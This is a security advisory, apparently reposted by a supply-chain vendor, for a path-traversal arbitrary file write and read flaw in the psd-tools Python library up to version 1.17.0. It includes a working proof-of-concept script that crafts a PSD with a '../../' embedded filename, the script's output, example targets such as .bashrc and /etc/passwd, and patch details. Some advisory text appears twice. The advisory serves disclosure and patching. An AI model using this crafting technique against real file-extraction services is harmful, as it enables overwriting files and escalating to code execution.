`src/psd_tools/psd/linked_layer.py:100` (source). - Distinct in class from the published advisories (GHSA-24p2-j2jr-386w — compression resource exhaustion; GHSA-22jr-vc7j-g762 — buffer overflow). The `save()` write logic is unchanged since the `SmartObject` API was introduced, so all releases exposing it are affected.
AI coding agents often install or upgrade packages automatically in pip. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| psd-toolspip | <=1.17.0 | 1.17.1 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate psd-tools to 1.17.1 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanpsd-tools vulnerable to arbitrary file write via smart-object filename affects psd-tools (pip). Severity is medium. # psd-tools: arbitrary file write/read via smart-object path traversal ## Summary In `psd-tools` (all releases exposing the `SmartObject` API through **v1.17.0**), `SmartObject.save()` writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted `.psd` can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or `../`-traversing), outside its intended output directory. A secondary issue in `SmartObject.open()` for external-kind smart objects allows the attacker-controlled `fullPath` descriptor to be used as an arbitrary file **read** path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in **v1.17.1**. ## Details ### Write path — `SmartObject.save()` (primary) `src/psd_tools/api/smart_object.py:170-179` (tag `v1.17.0`): ```python def save(self, filename: str | None = None) -> None: if filename is None: filename = self.filename # untrusted, straight from the file with open(filename, "wb") as f: f.write(self.data) # attacker-controlled bytes ``` `self.filename` comes from the file with no validation — the `filename` property (`:62-67`) returns `self._data.filename`, set by the linked-layer parser at `src/psd_tools/psd/linked_layer.py:100` (`read_unicode_string(fp)`). There is no `basename`, no absolute path rejection, and no `..` filtering; the written contents (`self.data`) are likewise from the file, so the attacker controls both destination and content. ### Read path — `SmartObject.open()` / `.data` for external kind (secondary) For `kind == "external"`, `save()` read file content via the `data` property, which called `open()` with no `external_dir` constraint. The `fullPath` descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause `save(directory="/safe/out")` to read an arbitrary readable file (e.g. `/etc/passwd`) and write its contents to the output directory. ## Proof of concept Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request. ```bash pip install psd-tools==1.17.0 python poc.py ``` `poc.py` builds two PSDs from the project's own `placedLayer.psd` fixture (included as `base.psd`), differing **only** in the embedded smart-object name — `control` is a bare basename, `exploit` is `../../PWNED-psd-tools-poc.bin` — then extracts each like a consumer would: ```python import os, shutil, tempfile from psd_tools import PSDImage from psd_tools.constants import Tag MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n" NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"} def craft(name, out): psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd")) uuid = next(l.smart_object.unique_id for l in psd.descendants() if l.kind == "smartobject" and l.smart_object.kind == "data") for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL): for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []: if item.uuid.strip("\x00") == uuid: item.filename, item.data = name, MARKER psd.save(out) def extract(psd_path, outdir, watch): psd = PSDImage.open(psd_path) before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs} cwd = os.getcwd(); os.chdir(outdir) try: for l in psd.descendants(): if l.kind == "smartobject" and l.smart_object.kind == "data": l.smart_object.save() finally: os.chdir(cwd) after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs} return sorted(after - before) def main(): tmp = tempfile.mkdtemp(prefix="poc_") try: escaped = {} for tag, name in NAMES.items(): psd = os.path.join(tmp, tag + ".psd"); craft(name, psd) so = next(l.smart_object for l in PSDImage.open(psd).descendants() if l.kind == "smartobject" and l.smart_object.kind == "data") print(f"[{tag}] parsed embedded name = {so.filename!r}") outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir) written = extract(psd, outdir, tmp); out = os.path.realpath(outdir) esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc for w in written: print(f"[{tag}] wrote {w} {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}") ok = (not escaped["control"] and escaped["exploit"] and all(open(w, "rb").read() == MARKER for w in escaped["exploit"])) print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced") return 0 if ok else 1 finally: shutil.rmtree(tmp, ignore_errors=True) raise SystemExit(main()) ``` Output (`psd-tools 1.17.0`): ``` [control] parsed embedded name = 'embedded-export.bin' [control] wrote .../poc_*/control/app/extracted/embedded-export.bin inside output dir [exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin' [exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin OUTSIDE output dir VERDICT: ARBITRARY FILE WRITE CONFIRMED ``` An absolute embedded name (e.g. `/home/user/.bashrc`) is honoured the same way. ## Impact Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via `SmartObject.save()` can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path. For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory. ## Severity **Moderate** for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction. ## Patch Fixed in **v1.17.1** (PR #657). Changes to `src/psd_tools/api/smart_object.py`: - **`save()`**: strips directory components from the embedded name via `os.path.basename()`, writes only into a caller-supplied `directory` (defaults to CWD), and verifies the resolved path stays inside that directory via `os.path.realpath()` + `os.path.commonpath()`. A new `external_dir` parameter is propagated to `open()` for external-kind objects to constrain the read source. - **`open()`**: when `external_dir` is provided, a `fullPath` resolving outside it is silently ignored (falls through to `relPath`); a `relPath` escaping the directory raises `ValueError`. ## Weaknesses CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path). ## Resources - Fix PR: https://github.com/psd-tools/psd-tools/pull/657 - Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1 - Affected source (tag `v1.17.0`): `src/psd_tools/api/smart_object.py:170-179` (sink), `:62-67` (untrusted `filename`); `src/psd_tools/psd/linked_layer.py:100` (source). - Distinct in class from the published advisories (GHSA-24p2-j2jr-386w — compression resource exhaustion; GHSA-22jr-vc7j-g762 — buffer overflow). The `save()` write logic is unchanged since the `SmartObject` API was introduced, so all releases exposing it are affected.
AI coding agents often install or upgrade packages automatically in pip. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| psd-toolspip | <=1.17.0 | 1.17.1 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard